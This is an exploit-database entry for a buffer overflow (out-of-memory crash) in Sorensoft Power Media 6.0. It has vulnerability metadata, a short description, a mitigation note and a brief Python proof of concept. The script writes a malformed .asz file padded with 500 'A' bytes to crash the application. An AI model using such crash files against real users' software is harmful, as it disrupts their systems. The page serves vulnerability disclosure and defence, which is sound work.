header-logo
Suggest Exploit
vendor:
Power Media
by:
Onying
9,3
CVSS
HIGH
Buffer Overflow
120
CWE
Product Name: Power Media
Affected Version From: 6.0
Affected Version To: 6.0
Patch Exists: Yes
Related CWE: N/A
CPE: a:sorensoft:power_media:6.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP3
2020

Sorensoft Power Media 6.0 (out of memory)

A buffer overflow vulnerability exists in Sorensoft Power Media 6.0 due to improper bounds checking of user-supplied input. An attacker can exploit this vulnerability by crafting a malicious ASzf file with a large amount of data and sending it to the application. This will cause the application to crash due to an out of memory error.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should update to the latest version of Sorensoft Power Media 6.0.
Source

Exploit-DB raw data:

#!/usr/bin/python
#
# Exploit Title: Sorensoft Power Media 6.0 (out of memory)
# software: Sorensoft power media
# version : 6.0
# link: www.sorensoft.com
# Author: Onying (@onyiing)
# Website: otakku-udang.blogspot.com
# Tested on: Windows XP SP3

junk ="\x41"*500
textfile = open("test.asz" , 'w')
textfile.write("ASzf      Options.dat"+junk)
textfile.close()

Navigation

Suggest Exploit

Services By CQR